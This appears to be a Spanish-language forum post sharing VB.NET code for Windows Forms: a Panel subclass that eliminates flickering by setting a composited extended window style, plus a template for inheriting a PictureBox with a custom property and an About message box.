Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm: (Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.) Public Class Panel_Without_Flickering Inherits Panel Public Sub New() Me.DoubleBuffered = False Me.ResumeLayout(False) End Sub ' Caution: ' This turns off any Flicker effect ' ...but also reduces the performance (speed) of the control about 30% slower. ' This don't affect to the performance of the application, only to the performance of this control. Protected Overrides ReadOnly Property CreateParams() As CreateParams Get Dim cp As CreateParams = MyBase.CreateParams cp.ExStyle = cp.ExStyle Or &H2000000 Return cp End Get End Property End Class
Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla... Public Class MyControl ' Name of this control. Inherits PictureBox ' Name of the inherited control. #Region " New " Public Sub New() Me.DoubleBuffered = True Me.SetStyle(ControlStyles.ResizeRedraw, False) Me.Name = "MyControl" 'Me.Text = "Text" 'Me.Size = New Point(60, 60) End Sub #End Region #Region " Properties " Private _Description As String = String.Empty ''' <summary> ''' Add a description for this control. ''' </summary> Public Property Description() As String Get Return _Description End Get Set(ByVal Value As String) Me._Description = Value End Set End Property #End Region #Region " Event handlers " ' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click ' Me.ForeColor = Color.White ' Me.BackColor = Color.CadetBlue ' End Sub ' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs) ' MyBase.OnPaint(pEvent) ' If Me.Checked Then ' pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12)) ' End If ' End Sub #End Region #Region " Methods / Functions " ''' <summary> ''' Show the autor of this control. ''' </summary> Public Sub About() MsgBox("Elektro H@cker") End Sub #End Region End Class
